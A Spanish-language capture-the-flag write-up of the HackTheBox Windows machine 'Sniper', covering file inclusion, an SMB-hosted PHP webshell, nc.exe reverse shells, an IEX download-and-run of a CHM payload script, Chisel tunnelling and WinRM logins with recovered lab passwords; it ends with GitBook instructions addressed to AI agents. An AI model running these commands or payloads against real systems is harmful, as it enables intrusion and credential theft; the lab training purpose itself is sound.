> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md). # Informe de HackTheBox de Sniper Informe de HackTheBox de Sniper para una máquina Windows de dificultad media que cubre inclusión de archivos locales (LFI), inclusión remota de archivos (RFI) (fallida), inclusión remota de archivos a través de servidor SMB (técnica net usershare) (exitosa) {% embed url="" %} {% hint style="warning" %} Habilidades: * Inclusión de archivos locales (LFI) * Inclusión de archivo remoto (RFI) (Fallido) * Inclusión de archivo remoto a través de un servidor SMB (técnica net usershare) (Éxito) * Creación de una webshell y obtención de ejecución remota de comandos (RCE) * Fuga de información (pivotación de usuario) * Jugando con Chisel y ScriptBlocks usando Invoke-Command * Creación de un archivo CHM malicioso (Out-CHM.ps1) (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Use la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles. (80,135,139,445,496,67)

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted ```

### Puerto 80:

**Análisis con `whatweb`:** Usamos `whatweb` para identificar las tecnologías utilizadas por el servidor web: {% code overflow="wrap" fullWidth="false" %} ```bash whatweb 10.10.10.151 http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1] ``` {% endcode %} ## **Vulnerabilidad LFI :** En la página de cambio de idioma, había un `lang` parámetro para cargar diferentes archivos PHP según el idioma elegido.

Lo probamos con un archivo local del sistema: ```url http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts ``` * Esto nos permitió mostrar el contenido de `hosts` .

**Intentos de lectura de archivos sensibles con `php://filter`:** Intentamos usar el LFI para leer el `index.php` archivo del servidor web Microsoft IIS ubicado en `/inetpub/wwwroot/index.php`, pero la operación a través de `php://filter` no funcionó.

```url php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php ```

### Inclusión de archivo remoto (RFI) (Fallido) #### Prueba de RFI mediante servidor web remoto: Intentamos cargar un archivo remoto a través de `?lang=http://10.10.14.3/index.html` URL apuntando a nuestro servidor web local con Python3. ```bash python3 -m http.server 80 ``` ```url ?lang=http://10.10.14.3/index.html ``` Pero no funcionó.

## Inclusión de archivo remoto (servidor SMB) **Crear servidor SMB:** Creamos un servidor SMB local usando `smbserver.py` y compartimos el directorio actual: ```bash smbserver.py share $(pwd) -smb2support ``` Luego intentamos cargar un archivo desde el servidor SMB cambiando el `lang` parámetro ```bash ?lang=/10.10.14.3/share/index.html ``` * Esta vez, el servidor interpretó correctamente nuestro `index.html` archivo, mostrando su contenido ("Hello World").

**Crear un archivo webshell en PHP (`cmd.php)`** Creamos un `cmd.php` archivo en nuestro servidor SMB para ejecutar comandos remotos a través de `cmd` parámetro: ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` /*/* Ejecución de comandos vía SMB/*/* ```bash //10.10.14.3/share/cmd.php&cmd= ``` Usando la siguiente URL, ejecutamos `whoami` comando: ```bash //10.10.14.3/share/cmd.php&cmd=whoami ```

### Shell inversa (nc.exe) **Descargar `nc.exe` para shell inversa:**/ Recuperamos el `nc.exe` binario de las herramientas disponibles en `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` y lo copiamos al directorio de trabajo. ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` **Escuchar en el puerto 443:**/ Configuramos un oyente con `nc` para escuchar en el puerto 443: ```bash rlwrap nc -nvlp 443 ``` **Ejecución de la shell inversa vía SMB:**/ Entonces lanzamos una shell inversa apuntando el `cmd` parámetro a nuestro archivo ``` ?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443 ``` Así obtuvimos una shell inversa en nuestra máquina.

## Escalada de privilegios **Buscar archivos sensibles:**/ Buscamos información sensible en archivos PHP y encontramos el `db.php` archivo que contiene credenciales de la base de datos: * Usuario: `dbuser` * Contraseña: `36mEAhz/B8xQ~2VM`

**Validación de credenciales para otro usuario:**

Descubrimos otro usuario llamado **Chris** además del usuario **Administrador**. Usamos **CrackMapExec** para validar si las `Chris` credenciales eran válidas: ```bash crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * La conexión fue exitosa.

**Verificar los privilegios del usuario "Chris":** * Observamos que el usuario `Chris` pertenecía al **Remote Management User** grupo, lo que le permitía conectarse de forma remota.

/*/* Análisis de puertos abiertos\:/*/* El puerto requerido para la conexión remota (puerto 5985, usado por WinRM) no estaba abierto externamente, sino internamente. Usamos `netstat` para comprobar los puertos en escucha en la máquina objetivo: ```bash netstat -an | findstr "LISTEN" ```

## Redirección de puertos (WinRM 5985) ### 1. PowerShell Iniciamos PowerShell en nuestra máquina de ataque: ```bash powershell ``` Recuperamos el nombre del entorno Windows con el comando `hostname`, y encontramos que el nombre del host era `Francotirador`. ```powershell hostname ``` Luego creamos una variable para el usuario `Chris` y otra para la contraseña usando `ConvertTo-SecureString`: ```powershell $user = "Sniper/Chris" ``` ```powershell $password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force ``` Luego creamos un `PSCredential` objeto para poder ejecutar comandos remotos en la máquina objetivo: ```bash $cred = New-Object System.Management.Automation.PSCredential($user, $password) ``` **Ejecución de comandos remotos:**/ Usamos el siguiente comando para ejecutar `whoami` remotamente y validar el acceso: ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami} ``` * Esto nos permitió confirmar que estábamos bien conectados como **Chris**.

**Shell inversa :**/ Para obtener acceso completo al sistema, configuramos un oyente en el puerto 4444: ```bash rlwrap nc -nlvp 4444 ``` Luego ejecutamos una shell inversa usando `nc.exe` desde nuestro servidor SMB: {% code overflow="wrap" %} ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444 ``` {% endcode %}

### 2. Chisel {% embed url="" %} **Descarga y preparación de archivos:**/ Descargamos el comprimido **Chisel** archivos, a saber: * `chisel-linux` * `chisel-windows.exe` {% embed url="" %} {% embed url="" %} Después de extraerlos, transferimos el **Chisel** archivo para Windows a la máquina objetivo: ```bash copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe ```

**Escuchando en la máquina atacante con Chisel:**/ Iniciamos **Chisel** en modo servidor en la máquina atacante en el puerto 8888: ```bash ./chisel-linux server -p 8888 -reverse ``` Luego, en la máquina Windows objetivo, ejecutamos **Chisel** en modo cliente para conectarse a nuestra máquina atacante y redirigir el puerto 5985 a nuestra máquina: ```bash chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985 ```

**Verificación del puerto redirigido con `lsof`:**/ Comprobamos que el puerto 5985 estaba correctamente configurado después de la redirección con el comando:

**Inicio de sesión con WinRM:**/ Usamos **CrackMapExec** para probar la conexión mediante **WinRM** en el puerto 5985 redirigido: ```bash crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * Obtuvimos el símbolo **comprometido**, confirmando que habíamos logrado acceder a la máquina mediante WinRM.

**Conexión final con Evil-WinRM:**/ Finalmente, usamos **Evil-WinRM** para obtener una shell remota como **Chris**: ```bash evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` ### Bandera user.txt :)

**Exploración del directorio "docs":**/ En la raíz de **Windows**, encontramos una carpeta **docs** que contiene un `note.txt` archivo con el siguiente mensaje:

> Hola Chris, > > Tus habilidades en PHP son realmente malas. Contacta a Yamitenshi para que te enseñe a usarlo, luego arregla el sitio porque tiene muchos errores. También espero que hayas preparado la documentación para nuestra nueva aplicación. Déjala aquí cuando termines. > > Atentamente,/ CEO de Sniper. **Buscar documentación en el sistema:**/ Buscamos la documentación mencionada por el CEO y la encontramos en el **Downloads** directorio dentro de **instructions.chm** .

### **Creación de archivo CHM malicioso:** Después de descubrir que el CEO quería ver archivos **CHM** en el **docs** directorio, buscamos en Internet cómo crear archivos CHM maliciosos. {% embed url="" %} **Descargar HTML Help Tool:**/ Descargamos **HTML Help** y usamos un script de PowerShell para crear un archivo CHM malicioso * [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe) ```bash IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1') ``` Luego modificamos el script para ejecutar un comando malicioso remoto mediante **nc.exe**: ```bash Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop" ```

**Inyección del archivo CHM malicioso en el directorio objetivo:**/ Configuramos un servidor SMB en nuestra máquina de ataque para transferir el archivo malicioso a la máquina Windows objetivo: ```bash smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234 ``` /*/* Conectarse al recurso compartido SMB desde la máquina víctima:/*/*/ Desde la máquina Windows objetivo, montamos el recurso compartido SMB y copiamos el malicioso `doc.chm` archivo: ```powershell net use x: //192.168.0.190/smbFolder /user:jordan jordan1234 copy ./doc.chm x:/doc.chm ``` **Escuchando para la shell inversa:**/ Iniciamos un oyente en nuestra máquina atacante, esperando una conexión de shell inversa: ```bash rlwrap nc -nlvp 443 ```

/*/* Problema encontrado:/*/*/ Aunque se visualizó el archivo CHM, no recibimos una shell inversa. Sin embargo, logramos capturar un **SMB Relay V2** en nuestro servidor. Esto nos proporcionó un hash de autenticación para el usuario `Administrador`

#### **Crackear el hash de administrador:** ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `Administrator:butterfly!#1`

#### **Inicio de sesión como administrador:** Con las credenciales obtenidas, usamos **Evil-WinRM** para conectarnos a la máquina como administrador: ```bash evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1' ```

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.